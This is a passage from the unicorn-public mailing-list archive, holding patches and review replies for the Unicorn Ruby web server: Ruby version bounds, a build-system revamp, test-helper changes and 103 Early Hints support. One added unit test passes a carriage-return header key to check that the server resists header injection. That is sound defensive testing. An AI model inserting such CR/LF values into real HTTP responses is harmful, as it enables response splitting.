+ end
+
+ def test_bad_key
+ out = StringIO.new
+ http_response_write(out, 200, {"\r" => "R"}, %w(x))
+ assert_not_match %r{: R\r\n}s, out.string
+ end
+
def test_response_string_status
out = StringIO.new
http_response_write(out,'200', {}, [])
--
end
^ permalink raw reply related [relevance 6%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
@ 2020-09-04 12:34 13% ` Jean Boussier
0 siblings, 0 replies; 200+ results
From: Jean Boussier @ 2020-09-04 12:34 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Ok, so the linking issues were simply me being silly. I forgot
to run `make ragel` and commit the output (to use a git gem).
Unicorn now run just fine under 3.0.0-dev (current master).
So here's the patch that warn users about the Ruby version
in extconf.rb and test_helper.rb.
I'm not too fan of the duplication, but not sure how this could
be shared.
--
From 68a862f65d6bc202bc4191a495e87626c2e4bfa3 Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Tue, 1 Sep 2020 17:00:12 +0200
Subject: [PATCH] Update ruby_version requirement to allow ruby 3.0
Ruby just recently bump the master version to 3.0.
This requirement bump is necessary to test unicorn
against ruby master.
---
ext/unicorn_http/extconf.rb | 4 ++++
test/test_helper.rb | 4 ++++
unicorn.gemspec | 9 +++++----
3 files changed, 13 insertions(+), 4 deletions(-)
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index d5f81fb..2e9a7f1 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -1,6 +1,10 @@
# -*- encoding: binary -*-
require 'mkmf'
+unless RUBY_VERSION < '3.1'
+ warn "Unicorn was only tested against MRI up to 3.0. It might not properly work with #{RUBY_VERSION}"
+end
+
have_macro("SIZEOF_OFF_T", "ruby.h") or check_sizeof("off_t", "sys/types.h")
have_macro("SIZEOF_SIZE_T", "ruby.h") or check_sizeof("size_t", "sys/types.h")
have_macro("SIZEOF_LONG", "ruby.h") or check_sizeof("long", "sys/types.h")
diff --git a/test/test_helper.rb b/test/test_helper.rb
index e3c6ad4..19528f4 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -34,6 +34,10 @@
Debugger.start
end
+unless RUBY_VERSION < '3.1'
+ warn "Unicorn was only tested against MRI up to 3.0. It might not properly work with #{RUBY_VERSION}"
+end
+
def redirect_test_io
orig_err = STDERR.dup
orig_out = STDOUT.dup
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cbe855d..e6af44d 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,10 +25,11 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # technically we need ">= 1.9.3", too, but avoid the array here since
- # old rubygems versions (1.8.23.2 at least) do not support multiple
- # version requirements here.
- s.required_ruby_version = '< 3.0'
+ # 1.9.3 is the minumum supported version. We don't specify
+ # a maximum version to make it easier to test pre-releases,
+ # but we do warn users if they install unicorn on an untested
+ # version in extconf.rb
+ s.required_ruby_version = ">= 1.9.3"
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
--
2.26.2
^ permalink raw reply related [relevance 13%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
@ 2020-09-01 15:04 2% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-01 15:04 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
>> I don't really see any reason to protect against newer Ruby version.
>
> I do: Ruby does not have a good track record when it comes to
> maintaining backwards compatibility.
Regardless, preventing the gem installation before the version even exists
cause massive pains to people trying to do the good thing of testing their
app against ruby master.
Until it is known that compatibility is broken, restricting the ruby version
causes more harm than good. Just this morning I had to submit patches
to a dozen gems.
> Hint: you can make maintainers' life slightly easier by adding
> a "--8<--\n" line before the patch, so "git am --scissors" works :>
> (the "From " line is also unnecessary)
Apologies, I forgot that one.
I included a new version of the patch using `< 4.0`.
--
From 307ea35d87c6a45d8b4261f03793a7a74d885bb2 Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Tue, 1 Sep 2020 17:00:12 +0200
Subject: [PATCH] Update ruby_version requirement to allow ruby 3.0
Ruby just recently bump the master version to 3.0.
This requirement bump is necessary to test unicorn
against ruby master.
---
unicorn.gemspec | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cbe855d..f04a11b 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -28,7 +28,7 @@
# technically we need ">= 1.9.3", too, but avoid the array here since
# old rubygems versions (1.8.23.2 at least) do not support multiple
# version requirements here.
- s.required_ruby_version = '< 3.0'
+ s.required_ruby_version = '< 4.0'
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
--
2.26.2
^ permalink raw reply related [relevance 2%]
* [PATCH 2/2] build: revamp and avoid unnecessary rebuilds
2020-07-26 1:57 9% [PATCH 0/2] minor test improvements Eric Wong
2020-07-26 1:57 8% ` [PATCH 1/2] test_helper: support TAIL= env for watching tests Eric Wong
@ 2020-07-26 1:57 27% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2020-07-26 1:57 UTC (permalink / raw)
To: unicorn-public
We can limit the amount of Ruby-version-specific code to
just the stuff in ext/* and bin/*, reducing I/O traffic
and FS + page cache footprint.
Furthermore, rely on GNU make behavior to copy all the necessary
files so we don't trigger unnecessary extconf.rb invocations
just by touching a .rb file in lib.
---
GNUmakefile | 160 ++++++++++++++++++++++++++++++++------------------
t/GNUmakefile | 75 +----------------------
2 files changed, 105 insertions(+), 130 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index eac3473f..d80e6080 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -10,6 +10,7 @@ RAGEL = ragel
RSYNC = rsync
OLDDOC = olddoc
RDOC = rdoc
+INSTALL = install
GIT-VERSION-FILE: .FORCE-GIT-VERSION-FILE
@./GIT-VERSION-GEN
@@ -25,7 +26,38 @@ endif
RUBY_ENGINE := $(shell $(RUBY) -e 'puts((RUBY_ENGINE rescue "ruby"))')
-MYLIBS = $(RUBYLIB)
+# we should never package more than one ext to avoid DSO proliferation:
+# https://udrepper.livejournal.com/8790.html
+ext := $(firstword $(wildcard ext/*))
+
+ragel: $(ext)/unicorn_http.c
+
+rl_files := $(wildcard $(ext)/*.rl)
+ragel: $(ext)/unicorn_http.c
+$(ext)/unicorn_http.c: $(rl_files)
+ cd $(@D) && $(RAGEL) unicorn_http.rl -C $(RLFLAGS) -o $(@F)
+ext_pfx := test/$(RUBY_ENGINE)-$(RUBY_VERSION)
+tmp_bin := $(ext_pfx)/bin
+ext_h := $(wildcard $(ext)/*/*.h $(ext)/*.h)
+ext_src := $(sort $(wildcard $(ext)/*.c) $(ext_h) $(ext)/unicorn_http.c)
+ext_pfx_src := $(addprefix $(ext_pfx)/,$(ext_src))
+ext_dir := $(ext_pfx)/$(ext)
+$(ext)/extconf.rb: $(wildcard $(ext)/*.h)
+ @>>$@
+$(ext_dir) $(tmp_bin) man/man1 doc/man1 pkg t/trash:
+ @mkdir -p $@
+$(ext_pfx)/$(ext)/%: $(ext)/% | $(ext_dir)
+ $(INSTALL) -m 644 $< $@
+$(ext_pfx)/$(ext)/Makefile: $(ext)/extconf.rb $(ext_h) | $(ext_dir)
+ $(RM) -f $(@D)/*.o
+ cd $(@D) && $(RUBY) $(CURDIR)/$(ext)/extconf.rb $(EXTCONF_ARGS)
+ext_sfx := _ext.$(DLEXT)
+ext_dl := $(ext_pfx)/$(ext)/$(notdir $(ext)_ext.$(DLEXT))
+$(ext_dl): $(ext_src) $(ext_pfx_src) $(ext_pfx)/$(ext)/Makefile
+ $(MAKE) -C $(@D)
+lib := $(CURDIR)/lib:$(CURDIR)/$(ext_pfx)/$(ext)
+http build: $(ext_dl)
+$(ext_pfx)/$(ext)/unicorn_http.c: ext/unicorn_http/unicorn_http.c
# dunno how to implement this as concisely in Ruby, and hell, I love awk
awk_slow := awk '/def test_/{print FILENAME"--"$$2".n"}' 2>/dev/null
@@ -37,44 +69,21 @@ T := $(filter-out $(slow_tests), $(wildcard test/*/test*.rb))
T_n := $(shell $(awk_slow) $(slow_tests))
T_log := $(subst .rb,$(log_suffix),$(T))
T_n_log := $(subst .n,$(log_suffix),$(T_n))
-test_prefix = $(CURDIR)/test/$(RUBY_ENGINE)-$(RUBY_VERSION)
-ext := ext/unicorn_http
-c_files := $(ext)/unicorn_http.c $(ext)/httpdate.c $(wildcard $(ext)/*.h)
-rl_files := $(wildcard $(ext)/*.rl)
base_bins := unicorn unicorn_rails
bins := $(addprefix bin/, $(base_bins))
man1_rdoc := $(addsuffix _1, $(base_bins))
man1_bins := $(addsuffix .1, $(base_bins))
man1_paths := $(addprefix man/man1/, $(man1_bins))
-rb_files := $(bins) $(shell find lib ext -type f -name '*.rb')
-inst_deps := $(c_files) $(rb_files) GNUmakefile test/test_helper.rb
-
-ragel: $(ext)/unicorn_http.c
-$(ext)/unicorn_http.c: $(rl_files)
- cd $(@D) && $(RAGEL) unicorn_http.rl -C $(RLFLAGS) -o $(@F)
-$(ext)/Makefile: $(ext)/extconf.rb $(c_files)
- cd $(@D) && $(RUBY) extconf.rb
-$(ext)/unicorn_http.$(DLEXT): $(ext)/Makefile
- $(MAKE) -C $(@D)
-http: $(ext)/unicorn_http.$(DLEXT)
+tmp_bins = $(addprefix $(tmp_bin)/, unicorn unicorn_rails)
+pid := $(shell echo $$PPID)
-# only used for tests
-http-install: $(ext)/unicorn_http.$(DLEXT)
- install -m644 $< lib/
+$(tmp_bin)/%: bin/% | $(tmp_bin)
+ $(INSTALL) -m 755 $< $@.$(pid)
+ $(MRI) -i -p -e '$$_.gsub!(%r{^#!.*$$},"#!$(ruby_bin)")' $@.$(pid)
+ mv $@.$(pid) $@
-test-install: $(test_prefix)/.stamp
-$(test_prefix)/.stamp: $(inst_deps)
- mkdir -p $(test_prefix)/.ccache
- tar cf - $(inst_deps) GIT-VERSION-GEN | \
- (cd $(test_prefix) && tar xf -)
- $(MAKE) -C $(test_prefix) clean
- $(MAKE) -C $(test_prefix) http-install shebang RUBY="$(RUBY)"
- > $@
-
-# this is only intended to be run within $(test_prefix)
-shebang: $(bins)
- $(MRI) -i -p -e '$$_.gsub!(%r{^#!.*$$},"#!$(ruby_bin)")' $^
+bins: $(tmp_bins)
t_log := $(T_log) $(T_n_log)
test: $(T) $(T_n)
@@ -83,15 +92,54 @@ test: $(T) $(T_n)
test-exec: $(wildcard test/exec/test_*.rb)
test-unit: $(wildcard test/unit/test_*.rb)
-$(slow_tests): $(test_prefix)/.stamp
+$(slow_tests): $(ext_dl)
@$(MAKE) $(shell $(awk_slow) $@)
# ensure we can require just the HTTP parser without the rest of unicorn
-test-require: $(ext)/unicorn_http.$(DLEXT)
- $(RUBY) --disable-gems -I$(ext) -runicorn_http -e Unicorn
+test-require: $(ext_dl)
+ $(RUBY) --disable-gems -I$(ext_pfx)/$(ext) -runicorn_http -e Unicorn
+
+test_prereq := $(tmp_bins) $(ext_dl)
+
+SH_TEST_OPTS =
+ifdef V
+ ifeq ($(V),2)
+ SH_TEST_OPTS += --trace
+ else
+ SH_TEST_OPTS += --verbose
+ endif
+endif
-test-integration: $(test_prefix)/.stamp
- $(MAKE) -C t
+# do we trust Ruby behavior to be stable? some tests are
+# (mostly) POSIX sh (not bash or ksh93, so no "set -o pipefail"
+# TRACER = strace -f -o $(t_pfx).strace -s 100000
+# TRACER = /usr/bin/time -o $(t_pfx).time
+t_pfx = trash/$@-$(RUBY_ENGINE)-$(RUBY_VERSION)
+T_sh = $(wildcard t/t[0-9][0-9][0-9][0-9]-*.sh)
+$(T_sh): export RUBY := $(RUBY)
+$(T_sh): export PATH := $(CURDIR)/$(tmp_bin):$(PATH)
+$(T_sh): export RUBYLIB := $(lib):$(RUBYLIB)
+$(T_sh): dep $(test_prereq) t/random_blob t/trash/.gitignore
+ cd t && $(TRACER) $(SHELL) $(SH_TEST_OPTS) $(@F) $(TEST_OPTS)
+
+t/trash/.gitignore : | t/trash
+ echo '*' >$@
+
+dependencies := socat curl
+deps := $(addprefix t/.dep+,$(dependencies))
+$(deps): dep_bin = $(lastword $(subst +, ,$@))
+$(deps):
+ @which $(dep_bin) > $@.$(pid) 2>/dev/null || :
+ @test -s $@.$(pid) || \
+ { echo >&2 "E '$(dep_bin)' not found in PATH=$(PATH)"; exit 1; }
+ @mv $@.$(pid) $@
+dep: $(deps)
+
+t/random_blob:
+ dd if=/dev/urandom bs=1M count=30 of=$@.$(pid)
+ mv $@.$(pid) $@
+
+test-integration: $(T_sh)
check: test-require test test-integration
test-all: check
@@ -122,16 +170,16 @@ run_test = $(quiet_pre) \
%.n: arg = $(subst .n,,$(subst --, -n ,$@))
%.n: t = $(subst .n,$(log_suffix),$@)
-%.n: export PATH := $(test_prefix)/bin:$(PATH)
-%.n: export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
-%.n: $(test_prefix)/.stamp
+%.n: export PATH := $(CURDIR)/$(tmp_bin):$(PATH)
+%.n: export RUBYLIB := $(lib):$(RUBYLIB)
+%.n: $(test_prereq)
$(run_test)
$(T): arg = $@
$(T): t = $(subst .rb,$(log_suffix),$@)
-$(T): export PATH := $(test_prefix)/bin:$(PATH)
-$(T): export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
-$(T): $(test_prefix)/.stamp
+$(T): export PATH := $(CURDIR)/$(tmp_bin):$(PATH)
+$(T): export RUBYLIB := $(lib):$(RUBYLIB)
+$(T): $(test_prereq)
$(run_test)
install: $(bins) $(ext)/unicorn_http.c
@@ -152,18 +200,16 @@ clean:
-$(MAKE) -C $(ext) clean
$(RM) $(ext)/Makefile
$(RM) $(setup_rb_files) $(t_log)
- $(RM) -r $(test_prefix) man
- $(RM) $(man1) $(html1)
+ $(RM) -r $(ext_pfx) man t/trash
+ $(RM) $(html1)
man1 := $(addprefix Documentation/, unicorn.1 unicorn_rails.1)
html1 := $(addsuffix .html, $(man1))
-man :
- mkdir -p man/man1
- install -m 644 $(man1) man/man1
+man : $(man1) | man/man1
+ $(INSTALL) -m 644 $(man1) man/man1
-html : $(html1)
- mkdir -p doc/man1
- install -m 644 $(html1) doc/man1
+html : $(html1) | doc/man1
+ $(INSTALL) -m 644 $(html1) doc/man1
%.1.html: %.1
$(OLDDOC) man2html -o $@ ./$<
@@ -187,10 +233,10 @@ doc: .document $(ext)/unicorn_http.c man html .olddoc.yml $(PLACEHOLDERS)
$(OLDDOC) prepare
$(RDOC) -f dark216
$(OLDDOC) merge
- install -m644 COPYING doc/COPYING
- install -m644 NEWS.atom.xml doc/NEWS.atom.xml
- install -m644 $(shell LC_ALL=C grep '^[A-Z]' .document) doc/
- install -m644 $(man1_paths) doc/
+ $(INSTALL) -m 644 COPYING doc/COPYING
+ $(INSTALL) -m 644 NEWS.atom.xml doc/NEWS.atom.xml
+ $(INSTALL) -m 644 $(shell LC_ALL=C grep '^[A-Z]' .document) doc/
+ $(INSTALL) -m 644 $(man1_paths) doc/
tar cf - $$(git ls-files examples/) | (cd doc && tar xf -)
# publishes docs to https://yhbt.net/unicorn/
@@ -231,9 +277,8 @@ gem: $(pkggem)
install-gem: $(pkggem)
gem install --local $(CURDIR)/$<
-$(pkggem): .manifest fix-perms
+$(pkggem): .manifest fix-perms | pkg
gem build $(rfpackage).gemspec
- mkdir -p pkg
mv $(@F) $@
$(pkgtgz): distdir = $(basename $@)
@@ -264,5 +309,4 @@ check-warnings:
do $(RUBY) --disable-gems -d -W2 -c \
$$i; done) | grep -v '^Syntax OK$$' || :
-.PHONY: .FORCE-GIT-VERSION-FILE doc $(T) $(slow_tests) man
-.PHONY: test-install
+.PHONY: .FORCE-GIT-VERSION-FILE doc $(T) $(slow_tests) man $(T_sh) clean
diff --git a/t/GNUmakefile b/t/GNUmakefile
index 5f5d9bc3..0ac9b9a3 100644
--- a/t/GNUmakefile
+++ b/t/GNUmakefile
@@ -1,74 +1,5 @@
-# we can run tests in parallel with GNU make
+# there used to be more, here, but we stopped relying on recursive make
all::
+ $(MAKE) -C .. test-integration
-pid := $(shell echo $$PPID)
-
-RUBY = ruby
-RAKE = rake
--include ../local.mk
-ifeq ($(RUBY_VERSION),)
- RUBY_VERSION := $(shell $(RUBY) -e 'puts RUBY_VERSION')
-endif
-
-ifeq ($(RUBY_VERSION),)
- $(error unable to detect RUBY_VERSION)
-endif
-
-RUBY_ENGINE := $(shell $(RUBY) -e 'puts((RUBY_ENGINE rescue "ruby"))')
-export RUBY_ENGINE
-
-MYLIBS := $(RUBYLIB)
-
-T = $(wildcard t[0-9][0-9][0-9][0-9]-*.sh)
-
-all:: $(T)
-
-# can't rely on "set -o pipefail" since we don't require bash or ksh93 :<
-t_pfx = trash/$@-$(RUBY_ENGINE)-$(RUBY_VERSION)
-TEST_OPTS =
-# TRACER = strace -f -o $(t_pfx).strace -s 100000
-# TRACER = /usr/bin/time -o $(t_pfx).time
-
-ifdef V
- ifeq ($(V),2)
- TEST_OPTS += --trace
- else
- TEST_OPTS += --verbose
- endif
-endif
-
-random_blob:
- dd if=/dev/urandom bs=1M count=30 of=$@.$(pid)
- mv $@.$(pid) $@
-
-$(T): random_blob
-
-dependencies := socat curl
-deps := $(addprefix .dep+,$(dependencies))
-$(deps): dep_bin = $(lastword $(subst +, ,$@))
-$(deps):
- @which $(dep_bin) > $@.$(pid) 2>/dev/null || :
- @test -s $@.$(pid) || \
- { echo >&2 "E '$(dep_bin)' not found in PATH=$(PATH)"; exit 1; }
- @mv $@.$(pid) $@
-dep: $(deps)
-
-test_prefix := $(CURDIR)/../test/$(RUBY_ENGINE)-$(RUBY_VERSION)
-$(test_prefix)/.stamp:
- $(MAKE) -C .. test-install
-
-$(T): export RUBY := $(RUBY)
-$(T): export RAKE := $(RAKE)
-$(T): export PATH := $(test_prefix)/bin:$(PATH)
-$(T): export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
-$(T): dep $(test_prefix)/.stamp trash/.gitignore
- $(TRACER) $(SHELL) $(SH_TEST_OPTS) $@ $(TEST_OPTS)
-
-trash/.gitignore:
- mkdir -p $(@D)
- echo '*' > $@
-
-clean:
- $(RM) -r trash/*
-
-.PHONY: $(T) clean
+.PHONY: all
^ permalink raw reply related [relevance 27%]
* [PATCH 0/2] minor test improvements
@ 2020-07-26 1:57 9% Eric Wong
2020-07-26 1:57 8% ` [PATCH 1/2] test_helper: support TAIL= env for watching tests Eric Wong
2020-07-26 1:57 27% ` [PATCH 2/2] build: revamp and avoid unnecessary rebuilds Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2020-07-26 1:57 UTC (permalink / raw)
To: unicorn-public
Lightly tested, but seems much better than before w.r.t.
unnecessary rebuilds.
Eric Wong (2):
test_helper: support TAIL= env for watching tests
build: revamp and avoid unnecessary rebuilds
GNUmakefile | 160 ++++++++++++++++++++++++++++----------------
t/GNUmakefile | 75 +--------------------
test/test_helper.rb | 21 ++++--
3 files changed, 122 insertions(+), 134 deletions(-)
^ permalink raw reply [relevance 9%]
* [PATCH 1/2] test_helper: support TAIL= env for watching tests
2020-07-26 1:57 9% [PATCH 0/2] minor test improvements Eric Wong
@ 2020-07-26 1:57 8% ` Eric Wong
2020-07-26 1:57 27% ` [PATCH 2/2] build: revamp and avoid unnecessary rebuilds Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2020-07-26 1:57 UTC (permalink / raw)
To: unicorn-public
This can be useful for diagnosing failures, especially since
GNU tail supports inotify these days.
---
test/test_helper.rb | 21 +++++++++++++++++----
1 file changed, 17 insertions(+), 4 deletions(-)
diff --git a/test/test_helper.rb b/test/test_helper.rb
index 94a5b1b6..e3c6ad4e 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -37,13 +37,25 @@
def redirect_test_io
orig_err = STDERR.dup
orig_out = STDOUT.dup
- STDERR.reopen("test_stderr.#{$$}.log", "a")
- STDOUT.reopen("test_stdout.#{$$}.log", "a")
+ new_out = File.open("test_stdout.#$$.log", "a")
+ new_err = File.open("test_stderr.#$$.log", "a")
+ new_out.sync = new_err.sync = true
+
+ if tail = ENV['TAIL'] # "tail -F" if GNU, "tail -f" otherwise
+ require 'shellwords'
+ cmd = tail.shellsplit
+ cmd << new_out.path
+ cmd << new_err.path
+ pid = Process.spawn(*cmd, { 1 => 2, :pgroup => true })
+ sleep 0.1 # wait for tail(1) to startup
+ end
+ STDERR.reopen(new_err)
+ STDOUT.reopen(new_out)
STDERR.sync = STDOUT.sync = true
at_exit do
- File.unlink("test_stderr.#{$$}.log") rescue nil
- File.unlink("test_stdout.#{$$}.log") rescue nil
+ File.unlink(new_out.path) rescue nil
+ File.unlink(new_err.path) rescue nil
end
begin
@@ -51,6 +63,7 @@ def redirect_test_io
ensure
STDERR.reopen(orig_err)
STDOUT.reopen(orig_out)
+ Process.kill(:TERM, pid) if pid
end
end
^ permalink raw reply related [relevance 8%]
* [PATCH 1/2] test_server: test_early_hints: fix test reliability
2020-07-23 4:17 4% [PATCH 0/2] some minor early_hints fixes Eric Wong
@ 2020-07-23 4:17 14% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-07-23 4:17 UTC (permalink / raw)
To: unicorn-public; +Cc: Jean Boussier
IO#sysread may only capture the 103 response and return before
the server can send the 200. Since we don't support persistent
connections, we can just use IO#read to rely on the server
giving us an EOF after the 200 is sent.
Cc: Jean Boussier <jean.boussier@gmail.com>
---
test/unit/test_server.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index d706243..384fa6b 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -106,7 +106,7 @@ def test_early_hints
sock = TCPSocket.new('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
- responses = sock.sysread(4096)
+ responses = sock.read(4096)
assert_match %r{\AHTTP/1.[01] 103\b}, responses
assert_match %r{^Link: </style\.css>}, responses
assert_match %r{^Link: </script\.js>}, responses
^ permalink raw reply related [relevance 14%]
* [PATCH 0/2] some minor early_hints fixes
@ 2020-07-23 4:17 4% Eric Wong
2020-07-23 4:17 14% ` [PATCH 1/2] test_server: test_early_hints: fix test reliability Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-07-23 4:17 UTC (permalink / raw)
To: unicorn-public; +Cc: Jean Boussier
Just some minor things:
I noticed the new test failed occasionally, and made a trivial
fix for it. In case people use SIGHUP, I've also made it reset
back to the default value (just like every other config
variable).
Eric Wong (2):
test_server: test_early_hints: fix test reliability
configurator: SIGHUP resets early_hints if unset
lib/unicorn/configurator.rb | 1 +
test/unit/test_server.rb | 2 +-
2 files changed, 2 insertions(+), 1 deletion(-)
^ permalink raw reply [relevance 4%]
* Re: [PATCH] Add early hints support
2020-07-16 10:50 0% ` Eric Wong
@ 2020-07-16 11:41 10% ` Jean Boussier
0 siblings, 0 replies; 200+ results
From: Jean Boussier @ 2020-07-16 11:41 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Thanks for the very timely response.
> Since this RDoc ends up on the website, links to any relevant
> Rails documentation and RFC 8297 would also be appropriate.
> Otherwise non-Rails users like me might have no clue what
> it's for.
I updated the documentation, let me know what you think of it.
> Are the method calls for .to_s necessary?
I don't think they are, I mostly took inspiration from the puma implementation
that does all this defensive checks. Based on how that interface is
used by Rails, we could assume both keys and values are strings already.
I simplified the implementation.
> Eep, extra branch... What's the performance impact for existing
> users when not activated? (on Unix sockets).
Extremely small.
>
> Perhaps bypassing the method and accessing the @early_hints ivar
> directly can be slightly faster w/o method dispatch. That
> should also allow using attr_writer instead of attr_accessor,
> I think.
attr_reader is very optimized in MRI, it's barely slower than @early_hints.
Also it ensure that it doesn't emit a warning in verbose mode if the variable
isn't initialized.
From e0494e10de6549d1b513eef03e68bfa58a6b26ec Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Thu, 16 Jul 2020 11:39:30 +0200
Subject: [PATCH] Add early hints support
While not part of the rack spec, this API is exposed
by both puma and falcon, and Rails use it when available.
The 103 Early Hints response code is specified in RFC 8297.
---
lib/unicorn/configurator.rb | 9 +++++++++
lib/unicorn/http_server.rb | 31 +++++++++++++++++++++++++++++--
test/unit/test_server.rb | 30 ++++++++++++++++++++++++++++++
3 files changed, 68 insertions(+), 2 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index c3a4f2d..b0606af 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -276,6 +276,15 @@ def default_middleware(bool)
set_bool(:default_middleware, bool)
end
+ # sets whether to enable the proposed early hints Rack API.
+ # If enabled, Rails 5.2+ will automatically send a 103 Early Hint
+ # for all the `javascript_include_tag` and `stylesheet_link_tag`
+ # in your response. See: https://api.rubyonrails.org/v5.2/classes/ActionDispatch/Request.html#method-i-send_early_hints
+ # See also https://tools.ietf.org/html/rfc8297
+ def early_hints(bool)
+ set_bool(:early_hints, bool)
+ end
+
# sets listeners to the given +addresses+, replacing or augmenting the
# current set. This is for the global listener pool shared by all
# worker processes. For per-worker listeners, see the after_fork example
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 45a2e97..05dad99 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -15,7 +15,7 @@ class Unicorn::HttpServer
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
:orig_app, :config, :ready_pipe, :user,
- :default_middleware
+ :default_middleware, :early_hints
attr_writer :after_worker_exit, :after_worker_ready, :worker_exec
attr_reader :pid, :logger
@@ -588,6 +588,25 @@ def handle_error(client, e)
rescue
end
+ def e103_response_write(client, headers)
+ response = if @request.response_start_sent
+ "103 Early Hints\r\n"
+ else
+ "HTTP/1.1 103 Early Hints\r\n"
+ end
+
+ headers.each_pair do |k, vs|
+ next if !vs || vs.empty?
+ values = vs.to_s.split("\n".freeze)
+ values.each do |v|
+ response << "#{k}: #{v}\r\n"
+ end
+ end
+ response << "\r\n".freeze
+ response << "HTTP/1.1 ".freeze if @request.response_start_sent
+ client.write(response)
+ end
+
def e100_response_write(client, env)
# We use String#freeze to avoid allocations under Ruby 2.1+
# Not many users hit this code path, so it's better to reduce the
@@ -602,7 +621,15 @@ def e100_response_write(client, env)
# once a client is accepted, it is processed in its entirety here
# in 3 easy steps: read request, call app, write app response
def process_client(client)
- status, headers, body = @app.call(env = @request.read(client))
+ env = @request.read(client)
+
+ if early_hints
+ env["rack.early_hints"] = lambda do |headers|
+ e103_response_write(client, headers)
+ end
+ end
+
+ status, headers, body = @app.call(env)
begin
return if @request.hijacked?
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 8096955..d706243 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -23,6 +23,16 @@ def call(env)
end
end
+class TestEarlyHintsHandler
+ def call(env)
+ while env['rack.input'].read(4096)
+ end
+ env['rack.early_hints'].call(
+ "Link" => "</style.css>; rel=preload; as=style\n</script.js>; rel=preload"
+ )
+ [200, { 'Content-Type' => 'text/plain' }, ['hello!\n']]
+ end
+end
class WebServerTest < Test::Unit::TestCase
@@ -84,6 +94,26 @@ def test_preload_app_config
tmp.close!
end
+ def test_early_hints
+ teardown
+ redirect_test_io do
+ @server = HttpServer.new(TestEarlyHintsHandler.new,
+ :listeners => [ "127.0.0.1:#@port"],
+ :early_hints => true)
+ @server.start
+ end
+
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n\r\n")
+
+ responses = sock.sysread(4096)
+ assert_match %r{\AHTTP/1.[01] 103\b}, responses
+ assert_match %r{^Link: </style\.css>}, responses
+ assert_match %r{^Link: </script\.js>}, responses
+
+ assert_match %r{^HTTP/1.[01] 200\b}, responses
+ end
+
def test_broken_app
teardown
app = lambda { |env| raise RuntimeError, "hello" }
--
2.26.2
^ permalink raw reply related [relevance 10%]
* Re: [PATCH] Add early hints support
2020-07-16 10:05 11% [PATCH] Add early hints support Jean Boussier
@ 2020-07-16 10:50 0% ` Eric Wong
2020-07-16 11:41 10% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-07-16 10:50 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
> While not part of the rack spec, this API is exposed
> by both puma and falcon, and Rails use it when available.
>
> The 103 Early Hints response code is specified in RFC 8297.
Thanks, I can probably accept it with some minor tweaks.
Some comment below...
> ---
> lib/unicorn/configurator.rb | 5 +++++
> lib/unicorn/http_server.rb | 33 +++++++++++++++++++++++++++++++--
> test/unit/test_server.rb | 30 ++++++++++++++++++++++++++++++
> 3 files changed, 66 insertions(+), 2 deletions(-)
>
> diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
> index c3a4f2d..43e91f4 100644
> --- a/lib/unicorn/configurator.rb
> +++ b/lib/unicorn/configurator.rb
> @@ -276,6 +276,11 @@ def default_middleware(bool)
> set_bool(:default_middleware, bool)
> end
>
> + # sets wether to enable rack's early hints API.
spelling: "whether".
Since it's not officially part of Rack, yet, perhaps something
like:
Enable the proposed early hints Rack API.
I'm no grammar expert, so I also rephrased that sentence to
avoid the apostrophe.
Since this RDoc ends up on the website, links to any relevant
Rails documentation and RFC 8297 would also be appropriate.
Otherwise non-Rails users like me might have no clue what
it's for.
> + def early_hints(bool)
> + set_bool(:early_hints, bool)
> + end
> +
